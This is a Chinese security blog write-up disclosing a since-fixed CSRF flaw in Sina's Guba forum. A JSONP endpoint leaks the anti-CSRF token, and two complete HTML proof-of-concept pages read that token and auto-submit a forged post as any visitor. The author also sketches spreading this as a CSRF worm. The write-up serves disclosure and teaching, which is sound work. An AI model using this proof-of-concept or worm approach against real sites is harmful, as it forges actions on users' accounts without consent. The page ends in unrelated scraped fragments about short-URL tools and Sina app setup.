分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

最近jsonp很火,实话说已经是被玩烂了的,只是一直没有受到大家的重视。正好在上个月,我挖过一个由于jsonp造成的新浪某社区CSRF,当时是为了准备一篇文章,之后这篇文章也会拿出来分享。

因为新浪已经修复了问题,所以我先把这个漏洞分享出来。以下是当时写的部分文章。

0x01 引子

听说新浪五月送衣服,我其实也没太多空去挖洞。本来想交一个两年前挖的CSRF刷粉,结果拿出来一看那洞早没了,目标站都换了。

详细说,就是我那个洞被302跳转到新浪股吧(http://guba.sina.com.cn/)去了。

最近股市很火啊,多少人在股市里发家致富。于是我简单开着burpsuite在股吧里转了一圈,发现了一处有意思的CSRF。

新浪微博玩的多的同学都知道新浪针对CSRF漏洞的防御策略是检查Referer,但股吧发帖这里却不是,少见地检查是token。

如图,抓一个正常发帖的POST数据包,我们可以看到其中含有_csrf_token这个字段。经过简单FUZZ发现,这个请求是不检查Referer的,只要_csrf_token正确即可发帖。

那么,如何获取_csrf_token,我有如下思路:

  1. 查看本站是否有泄漏token的jsonp
  2. 通过flash窃取源码

为什么我会有以上思路?首先,获取token一定是一个跨域过程,跨域的话通常就是CORS、postMessage和jsonp,这里CORS和postMessage都是不存在的,那么我就去找jsonp。

flash的思路应该已经流传已久了,去年这个时候/fd就已经在drops里说到了这个:http://drops.wooyun.org/tips/2031

但法2有一个很重要的条件是我们需要找到一个能控制输出内容的点,如上传、jsonp等,但实际上这样的位置并不好找,利用起来不如第一种方法简单。

0x02 jsonp出卖了你的_csrf_token

那么,跟着自己的思路来测试。

我先将_csrf_token修改成随意一个字符串,发送发现返回这样一个结果:

返回的数据包是一个json格式的字符串,其中包含了一个_csrf_token。多次发送这个数据包,我发现这个token每次都会变化。

那么我大概可以猜到,股吧的token是一个动态生成的,应该是储存在session中,每次检查完成后会生成一个新的。

但这里是json格式的返回值,而非jsonp。

于是我在GET参数中加入“&callback=hehehe”试试:

很明显,返回的格式变了。虽然不是jsonp,但却是一个<script>了。

为什么加上callback=hehehe就变了?这应该是一个开发习惯,通常开发设计api的时候都会有json和jsonp两种格式,而通常取jsonp的函数名的变量名就是callback。

这里是<script>还是没法跨域呀,parent.hehehe执行父框架中的hehehe函数,但父框架(10.211.55.3)和guba.sina.com.cn还是不同域,chrome下会爆出这个错误:

继续尝试,将HTTP方法改成GET:

惊喜,方法一变就得到jsonp了。

那么我用这个jsonp里的_csrf_token试试能不能成功发帖:

悲剧的是,不行……

那么我有两个猜想

  1. _csrf_token和HTTP方法有关,GET方法只能痛GET方法获取的token,POST用POST的token
  2. _csrf_token和“吧id”有关,不同id对应不同token。原因是返回错误的原因里多次提到“缺少参数:吧id或吧名”。

第一个猜想被我的程序员直觉否定了,我没见过有这样写程序的。

我尝试第二个猜想,在GET数据包的URL中加上&bid=9947,再次发送数据包:

仍然是jsonp格式,我将这个token再写入post数据包中发送:

成功了!

一个jsonp将_csrf_token彻底出卖了。

0x03 构造POC发表任意帖子

那么我开始编写POC来完成刚才手工完成的步骤。思路如下:

  1. jsonp获得token
  2. 构造POST表单提交

先构造一个获取token的简单代码:

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

<html>

<head>

<title>test</title>

<meta charset="utf-8">

<script type="text/javascript">

function hehehe(obj){

console.log(obj);

alert(obj["result"]["data"]["_csrf_token"]);

}

</script>

<script type="text/javascript" src=“https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2015/07/135322YJu.jpg"></script>

</head>

</html>

效果如图:

已经获取到token了。

这时候,将token嵌入表单中提交即可:

Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

<html>

<head>

<title>test</title>

<meta charset="utf-8">

</head>

<body>

<form action="http://guba.sina.com.cn/api/?s=Thread&a=safe_post" method="POST" id="csrfsend">

<input type="hidden" name="bid" value="9947">

<input type="hidden" name="tid" value="">

<input type="hidden" name="content" value="这是测试结果">

<input type="hidden" name="title" value="这是测试标题">

<input type="hidden" id="token" name="_csrf_token" value="">

<input type="hidden" name="anonymous" value="1">

</form>

<script type="text/javascript">

function hehehe(obj){

console.log(obj);

var csrf_token = obj["result"]["data"]["_csrf_token"];

document.getElementById("token").value = csrf_token;

document.getElementById("csrfsend").submit();

}

</script>

<script type="text/javascript" src="https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2015/07/135322YJu.jpg"></script>

</body>

</html>

以上代码,保存为sinacsrf.html,任意用户访问后即可触发,在板块9947发表一篇新帖子:

如图可见已发表:

这就是一个很典型的CSRF漏洞,通过jsonp窃取token来绕过后端的检查。

发表的帖子里还能再贴入链接,引诱其他用户点击,点击访问再次发帖,造成一个CSRF蠕虫。

原文地址:https://www.cnblogs.com/blacksunny/p/9124578.html

时间: 2024-11-06 09:29:15

分享一个jsonp劫持造成的新浪某社区CSRF蠕虫的相关文章

2020最新新浪短网址生成API接口与在线网址缩短工具分享与介绍

新浪短链接已经广泛应用于各大平台营销之中.如:微信,短信,微博已经各论坛广告软文之中.因为其超短的t.cn的样式,更容易让人接收和保证的文案的美观性.但是自新浪停止了对外开放的api key之后,市面上还有哪些可以继续生成新浪短链接的api接口呢?别担心,今天给大家分享一款我自己一直在使用的新浪短链接在线批量网址缩短工具和api接口. 一,在线批量生成新浪短网址工具:     1,工具地址:http://qingmeidwz.cn 使用步骤:         1,进入新浪短网址批量生成工具网站(

最新官方新浪短网址生成API接口与在线短网址缩短工具分享

新浪短链接已经广泛应用于各大平台营销之中.如:微信,短信,微博已经各论坛广告软文之中.因为其超短的t.cn的样式,更容易让人接收和保证的文案的美观性.但是自新浪停止了对外开放的api key之后,市面上还有哪些可以继续生成新浪短链接的api接口呢?别担心,今天给大家分享一款我自己一直在使用的新浪短链接在线批量网址缩短工具和api接口. 一,在线批量生成新浪短网址工具: 1,工具地址:http://qingmeidwz.cn 使用步骤: 1,进入新浪短网址批量生成工具网站 http://qingm

【玩转微信公众平台之六】 搭建新浪SAE服务器

赶紧接上一篇继续讲. ------本篇将介绍如何搭建 新浪SAE服务器.猛戳 http://sae.sina.com.cn/1.先自己注册一个账号,如果有新浪的账号,微博之类的都可以直接拿来用,授权一下就可以,如下: 2.接下来会让你填写一些安全设置,自己根据要求如实填写就可以了.要注意的是,你设置的安全密码别忘了,原因如下: 看的懂就好,看不懂也罢,我们继续往下走.3.注册的最后一步是 手机绑定 ,将你手机收到的验证码输入进去即可.这些都没啥难度,我就不多说了.注册成功后,点击 我的首页 回到

新浪微博项目技术之一OAuth新浪授权

一.OAuth新浪授权 新浪授权用户登录界面过程: 1.注册一个新浪微博的账号,称为新浪的开发者 2.登录新浪微博开发者首页 http://open.weibo.com/  创建一个应用 3.填写应用名称 和 应用地址 https://www.baidu.com/ 4.创建完成之后,会获得以下主要信息:1>.AppKey (应用的唯一标识):323532662 2>.AppSerect:227sdgdfshgfdhfj1348752 3>.RedirectURL(回调地址,有默认值):h

【玩转微信公众平台之六】 搭建新浪SAEserver

赶紧接上一篇继续讲.------本篇将介绍怎样搭建 新浪SAEserver.猛戳 http://sae.sina.com.cn/1.先自己注冊一个账号,假设有新浪的账号,微博之类的都能够直接拿来用,授权一下就能够,例如以下: 2.接下来会让你填写一些安全设置,自己依据要求如实填写就能够了.要注意的是,你设置的安全password别忘了,原因例如以下: 看的懂就好,看不懂也罢,我们继续往下走.3.注冊的最后一步是 手机绑定 ,将你手机收到的验证码输入进去就可以.这些都没啥难度,我就不多说了.注冊成

001_汽车之家,新浪和360之间的交流

记addops两次分享交流 本着开放共赢的精神,addops团队分别组织并参加了与"汽车之家"."新浪"的技术交流分享会.此次交流不同于传统技术大会的形式,我们只讨论干货,在具体技术点上做了非常细致的讨论.在与这两个团队的技术分享讨论中,我们互相"碰撞出思维的火花","互相参考学习",可以说收获满满. 同时也欢迎其它公司运维团队积极与我们联系,共同交流,相互成长学习. 汽车之家 我们邀请了汽车之家运维团队来我司进行技术交流.

主攻互动娱乐和视频自媒体,新浪SHOW是不是桩好生意?

对互联网互动服务平台而言,最近几年会是空前重要的发展阶段,首先,互联网行业的持续发展.网民数量的持续激增必然带动网络互动朝更普及的方向迈进,其市场规模也必然会呈极数增长:其次,互动娱乐.视频自媒体等业务模式也为网络互动注入了更多内涵,未来网民将在互动平台上体验到各种不同的玩法,这是行业做大做强的关键. 目前,国内互动领域的领头羊除欢聚时代之外,还有天鸽,其中天鸽集团拥有新浪SHOW和9158两大平台,以前者为例,最近笔者在新浪SHOW上推出了基于互联网.财经等话题的公开课,每期都吸引了大量网友的

新浪sae 项目之 git 配置

新浪sae 项目现在支持git 配置了,但是有好多人配置不成功.下面对这个问题进行一个总结. 1. 在新浪云上面新建项目(该步骤省略) 2. 一般新建完毕后,会让你选择代码的管理工具,如下 注意这里,使用 git 之后,就不能再使用其他的方式对代码进行管理.我们选择git 方式,然后确定. 3. 查看生成的远端项目地址 一般一个项目新建完毕后,我们会在网页上看到上面信息,注意sae 版本信息,意味着,1,2, 实际上代表的是你在本地一个1.2 的文件夹. 4. 本地同步远端代码 ①初始化本地gi

【玩转微信公众平台六】 构建新浪SAEserver

连接急于继续发言. ------本文主要介绍介绍如何设置 新浪SAEserver.猛戳 http://sae.sina.com.cn/1.先自己注冊一个账号,假设有新浪的账号,微博之类的都能够直接拿来用.授权一下就能够,例如以下: 2.接下来会让你填写一些安全设置.自己依据要求如实填写就能够了.要注意的是,你设置的安全password别忘了,原因例如以下: watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvc3RhcjUzMA==/font/5a6L5L2